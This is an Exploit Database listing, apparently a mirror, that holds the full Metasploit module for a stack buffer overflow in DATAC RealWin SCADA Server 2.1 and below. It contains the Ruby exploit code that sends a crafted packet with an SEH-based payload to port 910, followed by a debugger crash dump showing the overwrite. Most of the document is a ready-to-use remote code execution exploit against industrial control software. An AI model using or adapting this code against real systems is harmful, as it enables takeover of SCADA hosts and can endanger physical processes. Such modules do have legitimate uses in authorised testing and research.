DATAC RealWin SCADA Server 2 – On_FC_CONNECT_FCS_a_FILE Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2011-06-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17417/

• ##
  # $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability found in DATAC Control International RealWin
  				SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
  				packet via port 910, RealWin will try to create a file (which would be saved to
  				C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-
  				supplied filename with a inline memcpy routine without proper bounds checking, which
  				results a stack-based buffer overflow, allowing arbitrary remote code execution.
  
  				Tested version: 2.0 (Build 6.1.8.10)
  			},
  			'Author' => [ 'Luigi Auriemma', 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 12975 $',
  			'References' =>
  				[
  					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 450,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Mar 21 2011'))
  
  		register_options([Opt::RPORT(910)], self.class)
  	end
  
  	def exploit
  
  		connect
  
  		data =[0x67542310].pack('V')
  		data << [0x00000824].pack('V')
  		data << [0x00100001].pack('V')
  		data << [0x00000001].pack('V')#Packet type
  		data << [0x00060000].pack('V')
  		data << [0x0000ffff].pack('V')
  		data << rand_text_alpha_upper(221)
  		data << generate_seh_payload(target.ret)
  		data << rand_text_alpha_upper(17706 - payload.encoded.length)
  		data << [0x451c3500].pack('V')
  		data << [0x00000154].pack('V')
  		data << [0x00020040].pack('V')
  
  		print_status("Trying target #{target.name}...")
  		sock.put(data)
  		select(nil,nil,nil,0.5)
  
  		handler
  		disconnect
  
  	end
  
  end
  
  
  =begin
  0:022> r
  eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd
  eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  RealWinDemo+0x2702f:
  0042702f f3a5rep movs dword ptr es:[edi],dword ptr [esi]
  0:022> !exchain
  0587f748: RealWinDemo+e0b78 (004e0b78)
  0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)
  Invalid exception stack at 49a206eb
  0:022> u 4002da21
  FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:
  4002da21 5epop esi
  4002da22 5bpop ebx
  4002da23 c3ret
  =end